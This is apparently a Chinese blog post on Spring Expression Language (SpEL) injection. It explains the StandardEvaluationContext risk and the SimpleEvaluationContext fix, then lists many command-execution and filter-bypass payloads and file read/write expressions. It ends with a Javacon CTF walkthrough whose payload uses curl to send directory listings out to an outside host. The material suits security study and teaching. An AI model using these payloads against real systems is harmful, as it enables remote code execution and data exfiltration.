SPEL
前言
在P神18年出的javacon这道题中遇到了利用SpEL表达式绕过黑名单,看完wp后决定来学学。
什么是SpEL
Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。
SpEL API
- 创建解析器:SpEL 使用ExpressionPrarser接口表示解析器, 提供SpelExpressionParser默认实现
- 解析表达式:使ExpressionParser的parserExpression 来解析相应的表达式为Expression 对象
- 求值:提供Expression 接口的getValue方法根据上下文获得表达式
//SpEL主要代码
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
SpEL语法
SpEL表达式有很多特效:
- 使用Bean的ID来引用Bean
- 可调用方法和访问对象属性
- 可对值进行算数、关系和逻辑运算
- 可使用正则表达式进行匹配
- 可进行集合操作(?)
SpEL使用#{...}作为定界符,我们可以在其中使用运算符,变量以及引用Bean
- 引用其他对象:#
- 引用其他对象的属性:#
- 引用其他对象的方法:#
其中属性名称引用还可以用$符号,如${someProperty}。使用T()运算符会调用类作用域的方法和常量。例如在SpEL中使用Java的Math类,我们可以像下面的示例这样使用T()运算 符: #{T(java.lang.Math)} T()运算符的结果会返回一个java.lang.Math类对象 看到这里,就有点感觉了,根据上面所说的,他会解析里面的东西,又可以返回一个对象,调用相应的方 法,那就可能会存在一定的安全问题 那可能就可以这样T(java.lang.Runtime).getRuntime().exec("calc")达到一个命令执行的效 果了
SpEL安全漏洞
spEL表达式是可以操作类和方法的,可以通过类型表达式T(Type)来调用任意类方法,这是因为在不指定EvaluationContext
的情况下默认采用StandardEvaluationContext
,而它包含了spEL的所有功能,在允许用户控制输入的情况下可以造成任意命令执行。
public static void main(String[] args) thorws Exception{
String spel = "T(java.lang.Runtime).getRuntime().maxMemory()";
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parserExpression(spel);
System.out.println(expression.getValue());
}
例如这个例子,执行用户传入的任意命令,但当用户传入T(java.lang.Runtime).getRuntime().maxMemory()
表达式后便会执行某些方法,存在spEL表达式注入的安全风险。
防御方法
最直接的防御方法就是使用SimpleEvaluationContext
替换StandardEvaluationContext
。
官方文档:SimpleEvaluationContext的API官方文档
private static void test3() {
//执行shell脚本
String spel = "T(java.lang.Runtime).getRuntime().maxMemory()";
ExpressionParser parser = new SpelExpressionParser();
Student student = new Student();
//只读属性
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
//绑定数据
// context.setVariable("student", student);
Expression expression = parser.parseExpression(spel);
System.out.println(expression.getValue(context));
}
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的
注入回显
- 使用commons-io这个组件实现回显,这种方式会受限于目标服务器是否存在这个组件,springboot默认环境下都没有用到这个组件。。
T(org.apach.commons.io.IOUtils).toString(payload).getInputStream()
- 使用jdk>=9中的JShell,这种方式会受限于jdk的版本问题
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Method[6].invoke(null,{}).eval('whatever java code in one statement').toString
原生类
BufferedReader
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()
这种方式缺点也很明显,只能读取一行,如果执行dir ./命令就凉了,但单行输出还是可以用的
Scanner
new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
bypass
原型
// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")
// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()
- 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
- 绕过getClass()过滤
''.getClass 替换为 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')
- url编码绕过
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))
- JavaScript
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)
- JavaScript+反射
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)
- JavaScript+URL编码
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)
- Jshell
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
一些TIPS......
- 绕过T( 过滤
T%00(new)
这涉及到SpEL对字符的编码,%00会被直接替换为空
- 使用Spring工具类反序列化,绕过new关键字
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 可以结合CC链食用
- 使用Spring工具类执行自定义类的静态代码块
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())
需要在自定义类写静态代码块 static{}
读写文件
- nio读文件
new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt"))))
- nio写文件
T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create("file:/C:/Users/helloworld/1.txt")), '123464987984949'.getBytes(), T(java.nio.file.StandardOpenOption).WRITE)
SpEL实践
Code-Breaking Javacon
从登录看起
@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}
return "redirect:/";
} else {
return "redirect:/login-error";
}
}
判断用户名密码,如果勾选了remberMe则浏览器存入加密后的cookie。最后跳转hello.html
<h2 th:text="'Hello, ' + ${session.username}"></h2>
打开页面后其中比较敏感的一个操作就是对Cookie的处理,如下
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if(rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if(username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if(username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
程序判断rememberMeValue存在后,直接对其进行解密,然后将其setAttribute
,接下来可以看到this.getAdvanceValue(username.toString())
@ExceptionHandler({HttpClientErrorException.class})
@ResponseStatus(HttpStatus.FORBIDDEN)
public String handleForbiddenException() {
return "forbidden";
}
private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if(matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
其实就是与其跟黑名单做正则匹配,如果匹配成功则抛出HttpStatus.FORBIDDEN
,如果没有匹配到则进行正常流程,在SmallEvaluationContext
进行SpEL表达式解析。注意,这里就存在El表达式注入的问题了。
payload
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl 192.168.127.129:2345/`ls /|base64|tr \"\n\" \"-\"`'})}"));
参考
本文作者:vitara
本文链接:https://www.cnblogs.com/vitara/p/17238895.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步